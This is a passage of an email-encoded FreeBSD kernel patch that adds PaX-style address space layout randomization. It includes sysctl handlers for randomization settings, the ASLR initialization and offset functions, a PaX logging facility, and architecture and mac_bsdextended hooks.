CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_aslr_exec, "I", + "Number of bits randomized for the PIE exec base. " + "32 bit: [6,12] 64 bit: [12,21]"); + +static int +sysctl_pax_aslr_status(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_status : pax_aslr_status; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || (req->newptr =3D=3D NULL)) + return (err); + + switch (val) { + case PAX_ASLR_DISABLED: + case PAX_ASLR_OPTIN: + case PAX_ASLR_OPTOUT: + case PAX_ASLR_FORCE_ENABLED: + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_status =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_status =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + break; + default: + return (EINVAL); + } + + return (0); +} + +static int +sysctl_pax_aslr_debug(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_debug : pax_aslr_debug; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + switch (val) { + case 0: + case 1: + break; + default: + return (EINVAL); + + } + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_debug =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_debug =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_mmap(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_mmap_len : pax_aslr_mmap_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_DELTA_MMAP_MIN_LEN || + val > PAX_ASLR_DELTA_MMAP_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_mmap_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_mmap_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_stack(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_stack_len : pax_aslr_stack_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_DELTA_STACK_MIN_LEN || + val > PAX_ASLR_DELTA_STACK_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_stack_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_stack_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_exec(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr=3DNULL; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_exec_len : pax_aslr_exec_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || (req->newptr =3D=3D NULL)) + return (err); + + if (val < PAX_ASLR_DELTA_EXEC_MIN_LEN || + val > PAX_ASLR_DELTA_EXEC_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_exec_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_exec_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +/* + * COMPAT_FREEBSD32 and linuxulator.. + */ +#ifdef COMPAT_FREEBSD32 +static int sysctl_pax_aslr_compat_status(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_compat_mmap(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_compat_stack(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_aslr_compat_exec(SYSCTL_HANDLER_ARGS); + +SYSCTL_NODE(_security_pax_aslr, OID_AUTO, compat, CTLFLAG_RD, 0, + "Setting for COMPAT_FREEBSD32 and linuxulator."); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, status, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_status, "I", + "Restrictions status. " + "0 - disabled, " + "1 - enabled, " + "2 - global enabled, " + "3 - force global enabled"); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, mmap_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_mmap, "I", + "Number of bits randomized for mmap(2) calls. " + "32 bit: [8,16]"); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, stack_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_stack, "I", + "Number of bits randomized for the stack. " + "32 bit: [6,12]"); + +SYSCTL_PROC(_security_pax_aslr_compat, OID_AUTO, exec_len, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON, + NULL, 0, sysctl_pax_aslr_compat_exec, "I", + "Number of bits randomized for the PIE exec base. " + "32 bit: [6,12]"); + +static int +sysctl_pax_aslr_compat_status(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ?pr->pr_pax_aslr_compat_status : pax_aslr_compat_s= tatus; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || (req->newptr =3D=3D NULL)) + return (err); + + switch (val) { + case PAX_ASLR_DISABLED: + case PAX_ASLR_OPTIN: + case PAX_ASLR_OPTOUT: + case PAX_ASLR_FORCE_ENABLED: + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_status =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_status =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + break; + default: + return (EINVAL); + } + + return (0); +} + +static int +sysctl_pax_aslr_compat_mmap(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_compat_mmap_len : pax_aslr_compa= t_mmap_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN || + val > PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_mmap_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_mmap_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_compat_stack(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + val =3D (pr !=3D NULL) ? pr->pr_pax_aslr_compat_stack_len : pax_aslr_comp= at_stack_len; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN || + val > PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_stack_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_stack_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +static int +sysctl_pax_aslr_compat_exec(SYSCTL_HANDLER_ARGS) +{ + struct prison *pr; + int err, val; + + pr =3D pax_get_prison(req->td, NULL); + + if (pr !=3D NULL) + val =3D pr->pr_pax_aslr_compat_exec_len; + else + val =3D pax_aslr_compat_exec_len; + + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + if (val < PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN || + val > PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN) + return (EINVAL); + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_aslr_compat_exec_len =3D val; + + if (pr !=3D NULL) { + mtx_lock(&(pr->pr_mtx)); + pr->pr_pax_aslr_compat_exec_len =3D val; + mtx_unlock(&(pr->pr_mtx)); + } + + return (0); +} + +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_SYSCTLS */ + + +/* + * ASLR functions + */ +bool +pax_aslr_active(struct thread *td, struct proc *proc) +{ + int status; + struct prison *pr; + uint32_t flags; + + if ((td =3D=3D NULL) && (proc =3D=3D NULL)) + return (true); + + pr =3D pax_get_prison(td, proc); + + flags =3D (td !=3D NULL) ? td->td_proc->p_pax : proc->p_pax; + if (((flags & 0xaaaaaaaa) & ((flags & 0x55555555) << 1)) !=3D 0) { + pax_log_aslr(pr, __func__, "inconsistent paxflags: %x\n", flags); + pax_ulog_aslr(pr, NULL, "inconsistent paxflags: %x\n", flags); + return (true); + } + + if (pr !=3D NULL) + status =3D pr->pr_pax_aslr_status; + else + status =3D pax_aslr_status; + + switch (status) { + case PAX_ASLR_DISABLED: + return (false); + case PAX_ASLR_FORCE_ENABLED: + return (true); + case PAX_ASLR_OPTIN: + if ((flags & PAX_NOTE_ASLR) =3D=3D 0) { + pax_log_aslr(pr, __func__, + "ASLR is opt-in, and executable does not have ASLR enabled\n"); + pax_ulog_aslr(pr, NULL, + "ASLR is opt-in, and executable does not have ASLR enabled\n"); + return (false); + } + break; + case PAX_ASLR_OPTOUT: + if ((flags & PAX_NOTE_NOASLR) !=3D 0) { + pax_log_aslr(pr, __func__, + "ASLR is opt-out, and executable explicitly disabled ASLR\n"); + pax_ulog_aslr(pr, NULL, + "ASLR is opt-out, and executable explicitly disabled ASLR\n"); + return (false); + } + break; + default: + return (true); + } + + return (true); +} + +void +_pax_aslr_init(struct vmspace *vm, struct prison *pr) +{ + if (vm =3D=3D NULL) + panic("[PaX ASLR] %s: vm =3D=3D NULL", __func__); + + vm->vm_aslr_delta_mmap =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_MMAP_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_mmap_len : + pax_aslr_mmap_len); + vm->vm_aslr_delta_stack =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_STACK_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_stack_len : + pax_aslr_stack_len); + vm->vm_aslr_delta_stack =3D ALIGN(vm->vm_aslr_delta_stack); + vm->vm_aslr_delta_exec =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_EXEC_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_exec_len : + pax_aslr_exec_len); + + if ((pr !=3D NULL) && pr->pr_pax_aslr_debug) { + pax_log_aslr(pr, __func__, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_log_aslr(pr, __func__, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_log_aslr(pr, __func__, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + } +} + +#ifdef COMPAT_FREEBSD32 +void +_pax_aslr_init32(struct vmspace *vm, struct prison *pr) +{ + if (vm =3D=3D NULL) + panic("[PaX ASLR] %s: vm =3D=3D NULL", __func__); + + vm->vm_aslr_delta_mmap =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_COMPAT_DELTA_MMAP_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_compat_mmap_len : + pax_aslr_compat_mmap_len); + vm->vm_aslr_delta_stack =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_COMPAT_DELTA_STACK_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_compat_stack_len : + pax_aslr_compat_stack_len); + vm->vm_aslr_delta_stack =3D ALIGN(vm->vm_aslr_delta_stack); + vm->vm_aslr_delta_exec =3D PAX_ASLR_DELTA(arc4random(), + PAX_ASLR_DELTA_EXEC_LSB, (pr !=3D NULL) ? + pr->pr_pax_aslr_compat_exec_len : + pax_aslr_compat_exec_len); + + if ((pr !=3D NULL) && pr->pr_pax_aslr_debug) { + pax_log_aslr(pr, __func__, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_log_aslr(pr, __func__, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_log_aslr(pr, __func__, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_mmap=3D%p\n", + (void *) vm->vm_aslr_delta_mmap); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_stack=3D%p\n", + (void *) vm->vm_aslr_delta_stack); + pax_ulog_aslr(pr, NULL, "vm_aslr_delta_exec=3D%p\n", + (void *) vm->vm_aslr_delta_exec); + } +} +#endif + +void +pax_aslr_init(struct thread *td, struct image_params *imgp) +{ + struct prison *pr; + struct vmspace *vm; + + pr =3D pax_get_prison(td, NULL); + + if (imgp =3D=3D NULL) + panic("[PaX ASLR] %s: imgp =3D=3D NULL", __func__); + + if (!pax_aslr_active(td, NULL)) + return; + + vm =3D imgp->proc->p_vmspace; + + if (imgp->sysent->sv_pax_aslr_init !=3D NULL) + imgp->sysent->sv_pax_aslr_init(vm, pr); +} + +void +pax_aslr_mmap(struct thread *td, vm_offset_t *addr, vm_offset_t orig_addr,= int flags) +{ + struct prison *pr; + + if (!pax_aslr_active(td, NULL)) + return; + + orig_addr =3D *addr; + + pr =3D pax_get_prison(td, NULL); + + if (!(flags & MAP_FIXED) && ((orig_addr =3D=3D 0) || !(flags & MAP_ANON))= ) { + pax_log_aslr(pr, __func__, "applying to %p orig_addr=3D%p flags=3D%x\n", + (void *)*addr, (void *)orig_addr, flags); + + if (!(td->td_proc->p_vmspace->vm_map.flags & MAP_ENTRY_GROWS_DOWN)) + *addr +=3D td->td_proc->p_vmspace->vm_aslr_delta_mmap; + else + *addr -=3D td->td_proc->p_vmspace->vm_aslr_delta_mmap; + pax_log_aslr(pr, __func__, "result %p\n", (void *)*addr); + } else { + pax_log_aslr(pr, __func__, "not applying to %p orig_addr=3D%p flags=3D%x= \n", + (void *)*addr, (void *)orig_addr, flags); + } +} + +void +pax_aslr_stack(struct thread *td, uintptr_t *addr) +{ + struct prison *pr; + uintptr_t orig_addr; + + if (!pax_aslr_active(td, NULL)) + return; + + pr =3D pax_get_prison(td, NULL); + + orig_addr =3D *addr; + *addr -=3D td->td_proc->p_vmspace->vm_aslr_delta_stack; + pax_log_aslr(pr, __func__, "orig_addr=3D%p, new_addr=3D%p\n", + (void *)orig_addr, (void *)*addr); + pax_ulog_aslr(pr, NULL, "orig_addr=3D%p, new_addr=3D%p\n", + (void *)orig_addr, (void *)*addr); +} diff --git a/sys/kern/kern_pax_log.c b/sys/kern/kern_pax_log.c new file mode 100644 index 0000000..943ac81 --- /dev/null +++ b/sys/kern/kern_pax_log.c @@ -0,0 +1,188 @@ +/*- + * Copyright (c) 2014, by Oliver Pinter + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURP= OSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENT= IAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STR= ICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY W= AY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#define __PAX_LOG_TEMPLATE(SUBJECT, name) \ +void \ +pax_log_##name(struct prison *pr, const char *caller_name, const char* fmt= , ...)\ +{ \ + struct sbuf *sb; \ + va_list args; \ + \ + if ((pr !=3D NULL) && (pr->pr_pax_log_log =3D=3D 0)) \ + return; \ + \ + sb =3D sbuf_new_auto(); \ + if (sb =3D=3D NULL) \ + panic("%s: Could not allocate memory", __func__); \ + sbuf_printf(sb, "[PAX "#SUBJECT"] "); \ + if (caller_name !=3D NULL) \ + sbuf_printf(sb, "%s: ", caller_name); \ + va_start(args, fmt); \ + sbuf_vprintf(sb, fmt, args); \ + va_end(args); \ + if (sbuf_finish(sb) !=3D 0) \ + panic("%s: Could not generate message", __func__); \ + \ + printf("%s", sbuf_data(sb)); \ + sbuf_delete(sb); \ +} \ + \ +void \ +pax_ulog_##name(struct prison *pr, const char *caller_name, const char* fm= t, ...)\ +{ \ + struct sbuf *sb; \ + va_list args; \ + \ + if ((pr !=3D NULL) && (pr->pr_pax_log_ulog =3D=3D 0)) \ + return; \ + \ + sb =3D sbuf_new_auto(); \ + if (sb =3D=3D NULL) \ + panic("%s: Could not allocate memory", __func__); \ + sbuf_printf(sb, "[PAX "#SUBJECT"] "); \ + if (caller_name !=3D NULL) \ + sbuf_printf(sb, "%s: ", caller_name); \ + va_start(args, fmt); \ + sbuf_vprintf(sb, fmt, args); \ + va_end(args); \ + if (sbuf_finish(sb) !=3D 0) \ + panic("%s: Could not generate message", __func__); \ + \ + uprintf("%s", sbuf_data(sb)); \ + sbuf_delete(sb); \ +} + + +static int sysctl_pax_log_log(SYSCTL_HANDLER_ARGS); +static int sysctl_pax_log_ulog(SYSCTL_HANDLER_ARGS); + +int pax_log_log =3D PAX_LOG_LOG; +int pax_log_ulog =3D PAX_LOG_ULOG; + +SYSCTL_DECL(_security_pax); + +SYSCTL_NODE(_security_pax, OID_AUTO, log, CTLFLAG_RD, 0, + "PAX related logging facility."); + +SYSCTL_PROC(_security_pax_log, OID_AUTO, log, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_log_log, "I", + "log to syslog " + "0 - disabled, " + "1 - enabled "); +TUNABLE_INT("security.pax.log.log", &pax_log_log); + +SYSCTL_PROC(_security_pax_log, OID_AUTO, ulog, + CTLTYPE_INT|CTLFLAG_RWTUN|CTLFLAG_PRISON|CTLFLAG_SECURE, + NULL, 0, sysctl_pax_log_ulog, "I", + "log to user terminal" + "0 - disabled, " + "1 - enabled "); +TUNABLE_INT("security.pax.log.ulog", &pax_log_ulog); + +static int +sysctl_pax_log_log(SYSCTL_HANDLER_ARGS) +{ + int err; + int val; + struct prison *pr=3DNULL; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_log_log : pax_log_log; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + switch (val) { + case 0: + case 1: + break; + default: + return (EINVAL); + + } + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_log_log =3D val; + if (pr !=3D NULL) + pr->pr_pax_log_log =3D val; + + return (0); +} + +static int +sysctl_pax_log_ulog(SYSCTL_HANDLER_ARGS) +{ + int err; + int val; + struct prison *pr=3DNULL; + + pr =3D pax_get_prison(req->td, NULL); + + if ((pr !=3D NULL) && !(pr->pr_pax_set)) + pax_init_prison(pr); + + val =3D (pr !=3D NULL) ? pr->pr_pax_log_ulog : pax_log_ulog; + err =3D sysctl_handle_int(oidp, &val, sizeof(int), req); + if (err || !req->newptr) + return (err); + + switch (val) { + case 0: + case 1: + break; + default: + return (EINVAL); + + } + + if ((pr =3D=3D NULL) || (pr =3D=3D &prison0)) + pax_log_ulog =3D val; + if (pr !=3D NULL) + pr->pr_pax_log_ulog =3D val; + + return (0); +} + + +__PAX_LOG_TEMPLATE(ASLR, aslr) diff --git a/sys/mips/mips/elf_machdep.c b/sys/mips/mips/elf_machdep.c index d374713..f95ba35 100644 --- a/sys/mips/mips/elf_machdep.c +++ b/sys/mips/mips/elf_machdep.c @@ -28,6 +28,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -49,6 +51,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + #ifdef __mips_n64 struct sysentvec elf64_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, @@ -83,6 +89,11 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf64_Brandinfo freebsd_brand_info =3D { @@ -139,6 +150,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf32_Brandinfo freebsd_brand_info =3D { diff --git a/sys/mips/mips/freebsd32_machdep.c b/sys/mips/mips/freebsd32_ma= chdep.c index dfdf70f..103ad84 100644 --- a/sys/mips/mips/freebsd32_machdep.c +++ b/sys/mips/mips/freebsd32_machdep.c @@ -31,6 +31,7 @@ */ =20 #include "opt_compat.h" +#include "opt_pax.h" =20 #define __ELF_WORD_SIZE 32 =20 @@ -66,6 +67,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + static void freebsd32_exec_setregs(struct thread *, struct image_params *,= u_long); static int get_mcontext32(struct thread *, mcontext32_t *, int); static int set_mcontext32(struct thread *, const mcontext32_t *); @@ -106,6 +111,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D freebsd32_syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf32_sysvec, &elf32_freebsd_sysvec); =20 diff --git a/sys/powerpc/powerpc/elf32_machdep.c b/sys/powerpc/powerpc/elf3= 2_machdep.c index dbe58df..229fe97 100644 --- a/sys/powerpc/powerpc/elf32_machdep.c +++ b/sys/powerpc/powerpc/elf32_machdep.c @@ -25,6 +25,8 @@ * $FreeBSD$ */ =20 +#include "opt_pax.h" + #include #include #include @@ -52,6 +54,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + #ifdef __powerpc64__ #include #include @@ -107,6 +113,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_shared_page_base =3D FREEBSD32_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf32_sysvec, &elf32_freebsd_sysvec); =20 diff --git a/sys/powerpc/powerpc/elf64_machdep.c b/sys/powerpc/powerpc/elf6= 4_machdep.c index 0c41a8d..095f37b0 100644 --- a/sys/powerpc/powerpc/elf64_machdep.c +++ b/sys/powerpc/powerpc/elf64_machdep.c @@ -25,6 +25,8 @@ * $FreeBSD$ */ =20 +#include "opt_pax.h" + #include #include #include @@ -48,6 +50,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + struct sysentvec elf64_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, .sv_table =3D sysent, @@ -83,6 +89,11 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_shared_page_base =3D SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf64_sysvec, &elf64_freebsd_sysvec); =20 diff --git a/sys/security/mac_bsdextended/mac_bsdextended.c b/sys/security/= mac_bsdextended/mac_bsdextended.c index ccbc525..520168d 100644 --- a/sys/security/mac_bsdextended/mac_bsdextended.c +++ b/sys/security/mac_bsdextended/mac_bsdextended.c @@ -47,6 +47,8 @@ * firewall-like rules regarding users and file system objects. */ =20 +#include "opt_pax.h" + #include #include #include @@ -56,14 +58,20 @@ #include #include #include +#include #include #include #include #include #include #include +#include #include =20 +#ifdef PAX_ASLR +#include +#endif + #include #include #include @@ -117,7 +125,6 @@ SYSCTL_INT(_security_mac_bsdextended, OID_AUTO, firstma= tch_enabled, static int ugidfw_rule_valid(struct mac_bsdextended_rule *rule) { - if ((rule->mbr_subject.mbs_flags | MBS_ALL_FLAGS) !=3D MBS_ALL_FLAGS) return (EINVAL); if ((rule->mbr_subject.mbs_neg | MBS_ALL_FLAGS) !=3D MBS_ALL_FLAGS) @@ -129,8 +136,13 @@ ugidfw_rule_valid(struct mac_bsdextended_rule *rule) if ((rule->mbr_object.mbo_neg | MBO_TYPE_DEFINED) && (rule->mbr_object.mbo_type | MBO_ALL_TYPE) !=3D MBO_ALL_TYPE) return (EINVAL); +#ifdef PAX_ASLR + if ((rule->mbr_pax | MBI_ALLPAX) !=3D MBI_ALLPAX) + return (EINVAL); +#endif if ((rule->mbr_mode | MBI_ALLPERM) !=3D MBI_ALLPERM) return (EINVAL); + return (0); } =20 @@ -227,7 +239,7 @@ ugidfw_destroy(struct mac_policy_conf *mpc) =20 static int ugidfw_rulecheck(struct mac_bsdextended_rule *rule, - struct ucred *cred, struct vnode *vp, struct vattr *vap, int acc_mode) + struct ucred *cred, struct vnode *vp, struct vattr *vap, int acc_mode,= struct image_params *imgp) { int mac_granted, match, priv_granted; int i; @@ -305,6 +317,10 @@ ugidfw_rulecheck(struct mac_bsdextended_rule *rule, match =3D (bcmp(&(vp->v_mount->mnt_stat.f_fsid), &(rule->mbr_object.mbo_fsid), sizeof(rule->mbr_object.mbo_fsid)) =3D=3D 0); +#if defined(PAX_ASLR) + if (match && rule->mbr_object.mbo_inode) + match =3D (vap->va_fileid =3D=3D rule->mbr_object.mbo_inode); +#endif if (rule->mbr_object.mbo_neg & MBO_FSID_DEFINED) match =3D !match; if (!match) @@ -413,6 +429,11 @@ ugidfw_rulecheck(struct mac_bsdextended_rule *rule, return (EACCES); } =20 +#ifdef PAX_ASLR + if (imgp !=3D NULL) + pax_elf(imgp, rule->mbr_pax); +#endif + /* * If the rule matched, permits access, and first match is enabled, * return success. @@ -425,7 +446,7 @@ ugidfw_rulecheck(struct mac_bsdextended_rule *rule, =20 int ugidfw_check(struct ucred *cred, struct vnode *vp, struct vattr *vap, - int acc_mode) + int acc_mode, struct image_params *imgp) { int error, i; =20 @@ -441,7 +462,7 @@ ugidfw_check(struct ucred *cred, struct vnode *vp, stru= ct vattr *vap, if (rules[i] =3D=3D NULL) continue; error =3D ugidfw_rulecheck(rules[i], cred, - vp, vap, acc_mode); + vp, vap, acc_mode, imgp); if (error =3D=3D EJUSTRETURN) break; if (error) { @@ -454,7 +475,7 @@ ugidfw_check(struct ucred *cred, struct vnode *vp, stru= ct vattr *vap, } =20 int -ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode) 